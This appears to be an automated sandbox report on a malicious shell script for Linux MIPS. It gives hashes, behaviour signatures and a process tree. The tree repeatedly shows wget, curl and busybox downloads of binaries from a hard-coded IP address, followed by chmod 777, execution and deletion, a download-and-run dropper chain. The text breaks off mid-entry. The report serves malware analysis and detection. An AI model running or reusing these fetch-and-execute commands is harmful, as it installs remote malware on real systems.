158202a011e2f210091d07822732a44a44b49799547ef81a718ea519282c5f5d

Analysis

max time kernel
78s
max time network
80s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
26-11-2024 01:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

17a882d74d8f0403825e466d27c6aa7a2d943753c07b52b4cb5eb38452b9f65a.sh
Size

10KB
MD5

25ac41911960743a3801b24c9889d0c1
SHA1

e6d32d6310d18a8bf4ff2fba8fecffae2e12ba4e
SHA256

17a882d74d8f0403825e466d27c6aa7a2d943753c07b52b4cb5eb38452b9f65a
SHA512

98f07a68c31eb173a2cf2e365d1af84975b7be0e880425c50d390b11ce14d3502be471f7bac02bf2ecf731080a07f1352116ed0ec2b55e2d8b318efa272a2967
SSDEEP

192:Y7m95hRUWj5PiUxYkAOFlNtNTWkAOFlK95hRUWi:Y7m95hWWjsUxRtC95hWWi

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
1010	chmod
798	chmod
920	chmod
962	chmod
986	chmod
950	chmod
974	chmod
861	chmod
902	chmod
908	chmod
944	chmod
770	chmod
992	chmod
776	chmod
956	chmod
896	chmod
914	chmod
890	chmod
968	chmod
980	chmod
1004	chmod
932	chmod
938	chmod
998	chmod
833	chmod
839	chmod
881	chmod
926	chmod

Executes dropped EXE 28 IoCs

Processes:

BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YWevByMY4wmzNymjcp2tK0lMRkVdU65J5ieu8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGvK1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteSde1TCtowW4YXLK3aMQCLCu45FaZiSUUewLYPX20iXdE01EubuCO1vKPKpWurO2dtxnfvNFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4qWbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCObm4U9kz9o489NfSCsldH4iikrwNKhC0D83VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3dcWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4qWbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCOK1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteSde1TCtowW4YXLK3aMQCLCu45FaZiSUUewLYPX20iXdE01EubuCO1vKPKpWurO2dtxnfvbm4U9kz9o489NfSCsldH4iikrwNKhC0D83VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3dcWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg7257KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGvBFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YWevByMY4wmzNymjcp2tK0lMRkVdU65J5ieu8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju	curl
File opened for modification	/tmp/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83	curl
File opened for modification	/tmp/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72	curl
File opened for modification	/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW	curl
File opened for modification	/tmp/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu	curl
File opened for modification	/tmp/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu	curl
File opened for modification	/tmp/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3	curl
File opened for modification	/tmp/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q	curl
File opened for modification	/tmp/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv	curl
File opened for modification	/tmp/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv	curl
File opened for modification	/tmp/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS	curl
File opened for modification	/tmp/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv	curl
File opened for modification	/tmp/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv	curl
File opened for modification	/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW	curl
File opened for modification	/tmp/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d	curl
File opened for modification	/tmp/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3	curl
File opened for modification	/tmp/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL	curl
File opened for modification	/tmp/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83	curl
File opened for modification	/tmp/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO	curl
File opened for modification	/tmp/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS	curl
File opened for modification	/tmp/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8	curl
File opened for modification	/tmp/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8	curl
File opened for modification	/tmp/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72	curl
File opened for modification	/tmp/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL	curl
File opened for modification	/tmp/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO	curl
File opened for modification	/tmp/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d	curl
File opened for modification	/tmp/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q	curl
File opened for modification	/tmp/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju	curl

/tmp/17a882d74d8f0403825e466d27c6aa7a2d943753c07b52b4cb5eb38452b9f65a.sh
/tmp/17a882d74d8f0403825e466d27c6aa7a2d943753c07b52b4cb5eb38452b9f65a.sh
1⤵
PID:740
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  PID:768
- /bin/chmod
  chmod 777 BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  ./BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  PID:772
- /usr/bin/wget
  wget http://216.126.231.240/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  PID:775
- /bin/chmod
  chmod 777 evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  ./evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu
  2⤵
  PID:778
- /usr/bin/wget
  wget http://216.126.231.240/bins/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  PID:791
- /bin/chmod
  chmod 777 8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  ./8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm 8McNbOUeS9YrCMB0d5zxqK6v1brSBayWju
  2⤵
  PID:802
- /usr/bin/wget
  wget http://216.126.231.240/bins/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  PID:824
- /bin/chmod
  chmod 777 57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  ./57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm 57KRUWXFfHu3VWO4b1mlgA8S9fG3MLFYGv
  2⤵
  PID:835
- /usr/bin/wget
  wget http://216.126.231.240/bins/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  PID:838
- /bin/chmod
  chmod 777 K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  ./K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  PID:841
- /usr/bin/wget
  wget http://216.126.231.240/bins/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  PID:856
- /bin/chmod
  chmod 777 n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  ./n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  PID:880
- /bin/chmod
  chmod 777 de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  ./de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  PID:889
- /bin/chmod
  chmod 777 YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  ./YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  PID:895
- /bin/chmod
  chmod 777 NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  ./NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  PID:901
- /bin/chmod
  chmod 777 WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  ./WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  PID:907
- /bin/chmod
  chmod 777 bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  ./bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  PID:913
- /bin/chmod
  chmod 777 VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  ./VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  PID:919
- /bin/chmod
  chmod 777 SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  ./SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  PID:922
- /usr/bin/wget
  wget http://216.126.231.240/bins/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  PID:925
- /bin/chmod
  chmod 777 cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  ./cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm cWUesRaKQwwJxPW3wRZn0jCXOuGEfrKg72
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  PID:931
- /bin/chmod
  chmod 777 NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  ./NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm NFMltpDI2pwEZQIQyoj1QGgoy3LdmXjt4q
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  PID:937
- /bin/chmod
  chmod 777 WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  ./WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm WbI94NuUlzCWuMaIus8dZUbXVFwq2yyCCO
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  PID:943
- /bin/chmod
  chmod 777 K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  ./K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm K1nTT72xBzC0GySvwQlvs4yD6tQpiS40X3
  2⤵
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  PID:949
- /bin/chmod
  chmod 777 n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  ./n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm n2esVAKBZ4mPur2ugnoHfNeQ6GcpI0mteS
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  PID:955
- /bin/chmod
  chmod 777 de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  ./de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm de1TCtowW4YXLK3aMQCLCu45FaZiSUUewL
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  PID:961
- /bin/chmod
  chmod 777 YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  ./YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm YPX20iXdE01EubuCO1vKPKpWurO2dtxnfv
  2⤵
  PID:964
- /usr/bin/wget
  wget http://216.126.231.240/bins/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  PID:967
- /bin/chmod
  chmod 777 bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  ./bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm bm4U9kz9o489NfSCsldH4iikrwNKhC0D83
  2⤵
  PID:970
- /usr/bin/wget
  wget http://216.126.231.240/bins/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  PID:973
- /bin/chmod
  chmod 777 VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  ./VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm VS1zIzlfDLNogCiKjGs9q77NwBQCNDYBL8
  2⤵
  PID:976
- /usr/bin/wget
  wget http://216.126.231.240/bins/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SakrSjmAz6L9fE357FWDzjiA1Y4IlNJD3d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
